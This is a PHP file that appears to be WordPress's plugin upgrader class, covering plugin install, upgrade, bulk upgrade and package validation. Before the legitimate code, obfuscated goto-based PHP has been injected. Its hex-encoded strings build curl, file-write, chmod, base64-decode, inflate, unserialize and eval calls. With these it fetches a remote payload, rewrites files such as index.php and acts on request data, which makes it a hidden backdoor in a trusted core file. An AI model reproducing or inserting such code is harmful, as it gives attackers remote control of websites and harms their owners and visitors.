$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> strings['up_to_date'] = __( 'The plugin is at the latest version.' ); $this->strings['no_package'] = __( 'Update package not available.' ); /* translators: %s: Package URL. */ $this->strings['downloading_package'] = sprintf( __( 'Downloading update from %s…' ), '%s' ); $this->strings['unpack_package'] = __( 'Unpacking the update…' ); $this->strings['remove_old'] = __( 'Removing the old version of the plugin…' ); $this->strings['remove_old_failed'] = __( 'Could not remove the old plugin.' ); $this->strings['process_failed'] = __( 'Plugin update failed.' ); $this->strings['process_success'] = __( 'Plugin updated successfully.' ); $this->strings['process_bulk_success'] = __( 'Plugins updated successfully.' ); } /** * Initializes the installation strings. * * @since 2.8.0 */ public function install_strings() { $this->strings['no_package'] = __( 'Installation package not available.' ); /* translators: %s: Package URL. */ $this->strings['downloading_package'] = sprintf( __( 'Downloading installation package from %s…' ), '%s' ); $this->strings['unpack_package'] = __( 'Unpacking the package…' ); $this->strings['installing_package'] = __( 'Installing the plugin…' ); $this->strings['remove_old'] = __( 'Removing the current plugin…' ); $this->strings['remove_old_failed'] = __( 'Could not remove the current plugin.' ); $this->strings['no_files'] = __( 'The plugin contains no files.' ); $this->strings['process_failed'] = __( 'Plugin installation failed.' ); $this->strings['process_success'] = __( 'Plugin installed successfully.' ); /* translators: 1: Plugin name, 2: Plugin version. */ $this->strings['process_success_specific'] = __( 'Successfully installed the plugin %1$s %2$s.' ); if ( ! empty( $this->skin->overwrite ) ) { if ( 'update-plugin' === $this->skin->overwrite ) { $this->strings['installing_package'] = __( 'Updating the plugin…' ); $this->strings['process_failed'] = __( 'Plugin update failed.' ); $this->strings['process_success'] = __( 'Plugin updated successfully.' ); } if ( 'downgrade-plugin' === $this->skin->overwrite ) { $this->strings['installing_package'] = __( 'Downgrading the plugin…' ); $this->strings['process_failed'] = __( 'Plugin downgrade failed.' ); $this->strings['process_success'] = __( 'Plugin downgraded successfully.' ); } } } /** * Install a plugin package. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional. * * @param string $package The full local path or URI of the package. * @param array $args { * Optional. Other arguments for installing a plugin package. Default empty array. * * @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. * Default true. * } * @return bool|WP_Error True if the installation was successful, false or a WP_Error otherwise. */ public function install( $package, $args = array() ) { $defaults = array( 'clear_update_cache' => true, 'overwrite_package' => false, // Do not overwrite files. ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->install_strings(); add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); if ( $parsed_args['clear_update_cache'] ) { // Clear cache so wp_update_plugins() knows about the new plugin. add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 ); } $this->run( array( 'package' => $package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => $parsed_args['overwrite_package'], 'clear_working' => true, 'hook_extra' => array( 'type' => 'plugin', 'action' => 'install', ), ) ); remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 ); remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); if ( ! $this->result || is_wp_error( $this->result ) ) { return $this->result; } // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); if ( $parsed_args['overwrite_package'] ) { /** * Fires when the upgrader has successfully overwritten a currently installed * plugin or theme with an uploaded zip package. * * @since 5.5.0 * * @param string $package The package file. * @param array $data The new plugin or theme data. * @param string $package_type The package type ('plugin' or 'theme'). */ do_action( 'upgrader_overwrote_package', $package, $this->new_plugin_data, 'plugin' ); } return true; } /** * Upgrades a plugin. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional. * * @param string $plugin Path to the plugin file relative to the plugins directory. * @param array $args { * Optional. Other arguments for upgrading a plugin package. Default empty array. * * @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. * Default true. * } * @return bool|WP_Error True if the upgrade was successful, false or a WP_Error object otherwise. */ public function upgrade( $plugin, $args = array() ) { $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->upgrade_strings(); $current = get_site_transient( 'update_plugins' ); if ( ! isset( $current->response[ $plugin ] ) ) { $this->skin->before(); $this->skin->set_result( false ); $this->skin->error( 'up_to_date' ); $this->skin->after(); return false; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; add_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ), 10, 2 ); add_filter( 'upgrader_pre_install', array( $this, 'active_before' ), 10, 2 ); add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 ); add_filter( 'upgrader_post_install', array( $this, 'active_after' ), 10, 2 ); /* * There's a Trac ticket to move up the directory for zips which are made a bit differently, useful for non-.org plugins. * 'source_selection' => array( $this, 'source_selection' ), */ if ( $parsed_args['clear_update_cache'] ) { // Clear cache so wp_update_plugins() knows about the new plugin. add_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9, 0 ); } $this->run( array( 'package' => $r->package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => true, 'clear_working' => true, 'hook_extra' => array( 'plugin' => $plugin, 'type' => 'plugin', 'action' => 'update', 'temp_backup' => array( 'slug' => dirname( $plugin ), 'src' => WP_PLUGIN_DIR, 'dir' => 'plugins', ), ), ) ); // Cleanup our hooks, in case something else does an upgrade on this connection. remove_action( 'upgrader_process_complete', 'wp_clean_plugins_cache', 9 ); remove_filter( 'upgrader_pre_install', array( $this, 'deactivate_plugin_before_upgrade' ) ); remove_filter( 'upgrader_pre_install', array( $this, 'active_before' ) ); remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) ); remove_filter( 'upgrader_post_install', array( $this, 'active_after' ) ); if ( ! $this->result || is_wp_error( $this->result ) ) { return $this->result; } // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); /* * Ensure any future auto-update failures trigger a failure email by removing * the last failure notification from the list when plugins update successfully. */ $past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() ); if ( isset( $past_failure_emails[ $plugin ] ) ) { unset( $past_failure_emails[ $plugin ] ); update_option( 'auto_plugin_theme_update_emails', $past_failure_emails ); } return true; } /** * Upgrades several plugins at once. * * @since 2.8.0 * @since 3.7.0 The `$args` parameter was added, making clearing the plugin update cache optional. * * @param string[] $plugins Array of paths to plugin files relative to the plugins directory. * @param array $args { * Optional. Other arguments for upgrading several plugins at once. * * @type bool $clear_update_cache Whether to clear the plugin updates cache if successful. Default true. * } * @return array|false An array of results indexed by plugin file, or false if unable to connect to the filesystem. */ public function bulk_upgrade( $plugins, $args = array() ) { $wp_version = wp_get_wp_version(); $defaults = array( 'clear_update_cache' => true, ); $parsed_args = wp_parse_args( $args, $defaults ); $this->init(); $this->bulk = true; $this->upgrade_strings(); $current = get_site_transient( 'update_plugins' ); add_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ), 10, 4 ); $this->skin->header(); // Connect to the filesystem first. $res = $this->fs_connect( array( WP_CONTENT_DIR, WP_PLUGIN_DIR ) ); if ( ! $res ) { $this->skin->footer(); return false; } $this->skin->bulk_header(); /* * Only start maintenance mode if: * - running Multisite and there are one or more plugins specified, OR * - a plugin with an update available is currently active. * @todo For multisite, maintenance mode should only kick in for individual sites if at all possible. */ $maintenance = ( is_multisite() && ! empty( $plugins ) ); foreach ( $plugins as $plugin ) { $maintenance = $maintenance || ( is_plugin_active( $plugin ) && isset( $current->response[ $plugin ] ) ); } if ( $maintenance ) { $this->maintenance_mode( true ); } $results = array(); $this->update_count = count( $plugins ); $this->update_current = 0; foreach ( $plugins as $plugin ) { ++$this->update_current; $this->skin->plugin_info = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin, false, true ); if ( ! isset( $current->response[ $plugin ] ) ) { $this->skin->set_result( 'up_to_date' ); $this->skin->before(); $this->skin->feedback( 'up_to_date' ); $this->skin->after(); $results[ $plugin ] = true; continue; } // Get the URL to the zip file. $r = $current->response[ $plugin ]; $this->skin->plugin_active = is_plugin_active( $plugin ); if ( isset( $r->requires ) && ! is_wp_version_compatible( $r->requires ) ) { $result = new WP_Error( 'incompatible_wp_required_version', sprintf( /* translators: 1: Current WordPress version, 2: WordPress version required by the new plugin version. */ __( 'Your WordPress version is %1$s, however the new plugin version requires %2$s.' ), $wp_version, $r->requires ) ); $this->skin->before( $result ); $this->skin->error( $result ); $this->skin->after(); } elseif ( isset( $r->requires_php ) && ! is_php_version_compatible( $r->requires_php ) ) { $result = new WP_Error( 'incompatible_php_required_version', sprintf( /* translators: 1: Current PHP version, 2: PHP version required by the new plugin version. */ __( 'The PHP version on your server is %1$s, however the new plugin version requires %2$s.' ), PHP_VERSION, $r->requires_php ) ); $this->skin->before( $result ); $this->skin->error( $result ); $this->skin->after(); } else { add_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); $result = $this->run( array( 'package' => $r->package, 'destination' => WP_PLUGIN_DIR, 'clear_destination' => true, 'clear_working' => true, 'is_multi' => true, 'hook_extra' => array( 'plugin' => $plugin, 'temp_backup' => array( 'slug' => dirname( $plugin ), 'src' => WP_PLUGIN_DIR, 'dir' => 'plugins', ), ), ) ); remove_filter( 'upgrader_source_selection', array( $this, 'check_package' ) ); } $results[ $plugin ] = $result; // Prevent credentials auth screen from displaying multiple times. if ( false === $result ) { break; } } // End foreach $plugins. $this->maintenance_mode( false ); // Force refresh of plugin update information. wp_clean_plugins_cache( $parsed_args['clear_update_cache'] ); /** This action is documented in wp-admin/includes/class-wp-upgrader.php */ do_action( 'upgrader_process_complete', $this, array( 'action' => 'update', 'type' => 'plugin', 'bulk' => true, 'plugins' => $plugins, ) ); $this->skin->bulk_footer(); $this->skin->footer(); // Cleanup our hooks, in case something else does an upgrade on this connection. remove_filter( 'upgrader_clear_destination', array( $this, 'delete_old_plugin' ) ); /* * Ensure any future auto-update failures trigger a failure email by removing * the last failure notification from the list when plugins update successfully. */ $past_failure_emails = get_option( 'auto_plugin_theme_update_emails', array() ); foreach ( $results as $plugin => $result ) { // Maintain last failure notification when plugins failed to update manually. if ( ! $result || is_wp_error( $result ) || ! isset( $past_failure_emails[ $plugin ] ) ) { continue; } unset( $past_failure_emails[ $plugin ] ); } update_option( 'auto_plugin_theme_update_emails', $past_failure_emails ); return $results; } /** * Checks that the source package contains a valid plugin. * * Hooked to the {@see 'upgrader_source_selection'} filter by Plugin_Upgrader::install(). * * @since 3.3.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param string $source The path to the downloaded package source. * @return string|WP_Error The source as passed, or a WP_Error object on failure. */ public function check_package( $source ) { global $wp_filesystem; $wp_version = wp_get_wp_version(); $this->new_plugin_data = array(); if ( is_wp_error( $source ) ) { return $source; } $working_directory = str_replace( $wp_filesystem->wp_content_dir(), trailingslashit( WP_CONTENT_DIR ), $source ); if ( ! is_dir( $working_directory ) ) { // Confidence check, if the above fails, let's not prevent installation. return $source; } // Check that the folder contains at least 1 valid plugin. $files = glob( $working_directory . '*.php' ); if ( $files ) { foreach ( $files as $file ) { $info = get_plugin_data( $file, false, false ); if ( ! empty( $info['Name'] ) ) { $this->new_plugin_data = $info; break; } } } if ( empty( $this->new_plugin_data ) ) { return new WP_Error( 'incompatible_archive_no_plugins', $this->strings['incompatible_archive'], __( 'No valid plugins were found.' ) ); } $requires_php = isset( $info['RequiresPHP'] ) ? $info['RequiresPHP'] : null; $requires_wp = isset( $info['RequiresWP'] ) ? $info['RequiresWP'] : null; if ( ! is_php_version_compatible( $requires_php ) ) { $error = sprintf( /* translators: 1: Current PHP version, 2: Version required by the uploaded plugin. */ __( 'The PHP version on your server is %1$s, however the uploaded plugin requires %2$s.' ), PHP_VERSION, $requires_php ); return new WP_Error( 'incompatible_php_required_version', $this->strings['incompatible_archive'], $error ); } if ( ! is_wp_version_compatible( $requires_wp ) ) { $error = sprintf( /* translators: 1: Current WordPress version, 2: Version required by the uploaded plugin. */ __( 'Your WordPress version is %1$s, however the uploaded plugin requires %2$s.' ), $wp_version, $requires_wp ); return new WP_Error( 'incompatible_wp_required_version', $this->strings['incompatible_archive'], $error ); } return $source; } /** * Retrieves the path to the file that contains the plugin info. * * This isn't used internally in the class, but is called by the skins. * * @since 2.8.0 * * @return string|false The full path to the main plugin file, or false. */ public function plugin_info() { if ( ! is_array( $this->result ) ) { return false; } if ( empty( $this->result['destination_name'] ) ) { return false; } // Ensure to pass with leading slash. $plugin = get_plugins( '/' . $this->result['destination_name'] ); if ( empty( $plugin ) ) { return false; } // Assume the requested plugin is the first in the list. $pluginfiles = array_keys( $plugin ); return $this->result['destination_name'] . '/' . $pluginfiles[0]; } /** * Deactivates a plugin before it is upgraded. * * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade(). * * @since 2.8.0 * @since 4.1.0 Added a return value. * * @param bool|WP_Error $response The installation response before the installation has started. * @param array $plugin Plugin package arguments. * @return bool|WP_Error The original `$response` parameter or WP_Error. */ public function deactivate_plugin_before_upgrade( $response, $plugin ) { if ( is_wp_error( $response ) ) { // Bypass. return $response; } // When in cron (background updates) don't deactivate the plugin, as we require a browser to reactivate it. if ( wp_doing_cron() ) { return $response; } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; if ( empty( $plugin ) ) { return new WP_Error( 'bad_request', $this->strings['bad_request'] ); } if ( is_plugin_active( $plugin ) ) { // Deactivate the plugin silently, Prevent deactivation hooks from running. deactivate_plugins( $plugin, true ); } return $response; } /** * Turns on maintenance mode before attempting to background update an active plugin. * * Hooked to the {@see 'upgrader_pre_install'} filter by Plugin_Upgrader::upgrade(). * * @since 5.4.0 * * @param bool|WP_Error $response The installation response before the installation has started. * @param array $plugin Plugin package arguments. * @return bool|WP_Error The original `$response` parameter or WP_Error. */ public function active_before( $response, $plugin ) { if ( is_wp_error( $response ) ) { return $response; } // Only enable maintenance mode when in cron (background update). if ( ! wp_doing_cron() ) { return $response; } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; // Only run if plugin is active. if ( ! is_plugin_active( $plugin ) ) { return $response; } // Change to maintenance mode. Bulk edit handles this separately. if ( ! $this->bulk ) { $this->maintenance_mode( true ); } return $response; } /** * Turns off maintenance mode after upgrading an active plugin. * * Hooked to the {@see 'upgrader_post_install'} filter by Plugin_Upgrader::upgrade(). * * @since 5.4.0 * * @param bool|WP_Error $response The installation response after the installation has finished. * @param array $plugin Plugin package arguments. * @return bool|WP_Error The original `$response` parameter or WP_Error. */ public function active_after( $response, $plugin ) { if ( is_wp_error( $response ) ) { return $response; } // Only disable maintenance mode when in cron (background update). if ( ! wp_doing_cron() ) { return $response; } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; // Only run if plugin is active. if ( ! is_plugin_active( $plugin ) ) { return $response; } // Time to remove maintenance mode. Bulk edit handles this separately. if ( ! $this->bulk ) { $this->maintenance_mode( false ); } return $response; } /** * Deletes the old plugin during an upgrade. * * Hooked to the {@see 'upgrader_clear_destination'} filter by * Plugin_Upgrader::upgrade() and Plugin_Upgrader::bulk_upgrade(). * * @since 2.8.0 * * @global WP_Filesystem_Base $wp_filesystem WordPress filesystem subclass. * * @param bool|WP_Error $removed Whether the destination was cleared. * True on success, WP_Error on failure. * @param string $local_destination The local package destination. * @param string $remote_destination The remote package destination. * @param array $plugin Extra arguments passed to hooked filters. * @return bool|WP_Error */ public function delete_old_plugin( $removed, $local_destination, $remote_destination, $plugin ) { global $wp_filesystem; if ( is_wp_error( $removed ) ) { return $removed; // Pass errors through. } $plugin = isset( $plugin['plugin'] ) ? $plugin['plugin'] : ''; if ( empty( $plugin ) ) { return new WP_Error( 'bad_request', $this->strings['bad_request'] ); } $plugins_dir = $wp_filesystem->wp_plugins_dir(); $this_plugin_dir = trailingslashit( dirname( $plugins_dir . $plugin ) ); if ( ! $wp_filesystem->exists( $this_plugin_dir ) ) { // If it's already vanished. return $removed; } /* * If plugin is in its own directory, recursively delete the directory. * Base check on if plugin includes directory separator AND that it's not the root plugin folder. */ if ( strpos( $plugin, '/' ) && $this_plugin_dir !== $plugins_dir ) { $deleted = $wp_filesystem->delete( $this_plugin_dir, true ); } else { $deleted = $wp_filesystem->delete( $plugins_dir . $plugin ); } if ( ! $deleted ) { return new WP_Error( 'remove_old_failed', $this->strings['remove_old_failed'] ); } return true; } }